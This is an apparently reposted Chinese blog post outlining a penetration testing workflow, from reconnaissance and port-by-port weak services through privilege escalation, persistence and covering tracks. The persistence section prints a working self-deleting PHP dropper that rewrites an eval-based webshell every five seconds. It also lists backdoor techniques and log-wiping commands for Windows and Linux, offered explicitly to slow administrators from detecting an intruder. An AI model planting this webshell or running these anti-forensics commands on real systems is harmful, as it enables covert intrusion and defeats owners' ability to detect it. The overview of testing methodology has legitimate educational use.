渗透测试思路

什么是渗透测试

渗透测试并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:渗透测试是通过模拟恶意黑客的攻击方法,来全面评估分析计算机系统安全或应用安全的一种方法。这个过程包括从各个位置对系统的任何弱点、技术缺陷或漏洞的主动分析,最后给出完整的渗透报告和问题解决方案

  • 白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析

  • 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透

为什么要渗透测试

渗透测试可以帮助确定一个系统是否容易受到攻击,如果防御足够,以及测试是否打败了哪些防御(如果有的话)。渗透测试发现的安全问题应该报告给系统所有者。渗透测试报告也可以评估对组织的潜在影响,并提出降低风险的对策。

渗透测试流程

在这里插入图片描述
信息收集 漏洞利用 提权 权限维持 清除痕迹

信息收集

1.域名

主域名,子域名

Lazer 提取码ttja
在这里插入图片描述

2.域名信息
  1. 邮箱
  2. 电话
  3. 注册人
  4. 地址

站长工具

阿里云

CDN和真实IP

网站框架

操作系统、数据库、中间件、编程语言、反向代理、CMS框架、目录

Wappalyzer

CMS框架:WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、、SiteWeaver、AspCMS、帝国、Z-Blog

端口服务

在这里插入图片描述

1.web类(web漏洞/敏感目录)

第三方通用组件漏洞struts thinkphp jboss ganglia zabbix

80 web
80-89 web
8000-9090 web

2.数据库类(扫描弱口令)

1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL

3.特殊服务类(未授权/命令执行类/漏洞)

443 SSL心脏滴血
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问

4.常用端口类(扫描弱口令/端口爆破)

21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由,默认密码zebra
3389 远程桌面

敏感信息

用户个人信息:电话、密码、身份证

源代码泄漏:github

敏感文件:conf、inc 、bak、mdb、xls、robots

防火墙

wafw00f工具
在这里插入图片描述

在这里插入图片描述

漏洞利用

sql xss 反序列化 文件上传 文件包含 xxe 中间件漏洞 逻辑漏洞、owasp top10

DDOS、CC、flood

提权

提权就是通过各种办法和漏洞,提高提广自己在服务器中的权限,以便控制全局。

  1. 纵向提权(vertical privilege escalation):如果低权限角色(的用户)能够获得高权限角色的权限,则这种提权就可称为纵向提权。比如成员拥有管理员的权限
    Windows:User >> System
    Linux:User >> Root
  2. 横向提权(horizontal privilege escalation):如果获取了同级别角色的权限,这种提权就属于横向提权。比如管理员a拥有管理员b的权限

分类

1.弱口令
2.本地漏洞,系统提权
3.MYSQL数据库提权
  1. udf提权
udf(Userdefined function)是用户自定义函数,就是为了让我们开发者能够自己写方便自己函数,如果写入恶意webshell,利用sql命令去执行,就可以创建管理员用户或是提升权限

在mysql中函数是什么,比如mysql中常见的sleep(),sum(),ascii()等都是函数,都会写在.dll文件中

参考文章
参考文章

  1. mof提权
利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们
的cmd命令使其被带入执行。
使用MOF提权的前提是当前root账户可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下。  

权限维持

在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集
1:建立隐藏后门文件、隐藏用户
将文件设置为隐藏,404页面隐藏后门,或者在其他自带文件中插入后门代码

2:不死马,该脚本每5秒向服务器创建.php文件,并写入一句话免杀木马。

<?php
    set_time_limit(0);//程序执行时间
    ignore_user_abort(1);//关掉终端后脚本仍然运行
    unlink(__FILE__);//文件完整名
    while(1){
    
    
        file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
        $b=array_keys($a)[0];
        eval($b);?>');
        sleep(5);
    }
?>

3: 在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控

4:SSH后门

清除痕迹

当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!

我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。

最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。

Windows系统

1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹

2:如果3389远程登录过,需要清除mstsc痕迹

3:执行命令清除日志:

del %WINDR%\* .log /a/s/q/f

4:如果是web应用,找到web日志文件,删除

Linux系统

1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令

export HISTFILE=/dev/null export HISTSIZE=0

2:删除 /var/log 目录下的日志文件

3:如果是web应用,找到web日志文件,删除

Guess you like

Origin blog.csdn.net/weixin_54648419/article/details/120778794